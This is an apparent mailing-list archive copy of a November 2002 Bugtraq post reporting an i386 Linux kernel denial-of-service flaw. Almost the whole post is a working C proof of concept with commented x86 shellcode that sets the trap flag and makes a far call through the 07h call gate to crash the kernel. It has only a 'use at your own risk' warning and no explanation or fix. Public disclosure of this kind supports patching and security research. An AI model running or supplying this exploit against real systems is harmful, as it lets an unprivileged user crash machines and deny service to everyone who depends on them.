This was posted on bugtraq today...
-----Original Message-----
From: Christophe Devine
Sent: Monday, November 11, 2002 11:26 AM
To: bugtraq@securityfocus.com
Subject: i386 Linux kernel DoS
/* USE AT YOUR OWN RISK ! */
int main( void )
{
char dos[] = "\x9C" /* pushfd */
"\x58" /* pop eax */
"\x0D\x00\x01\x00\x00" /* or eax,100h */
"\x50" /* push eax */
"\x9D" /* popfd */
"\x9A\x00\x00\x00\x00\x07\x00"; /* call 07h:00h */
void (* f)( void );
f = (void *) dos; (* f)();
return 1;
}
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This archive was generated by hypermail 2b29 : Fri Nov 15 2002 - 22:00:27 EST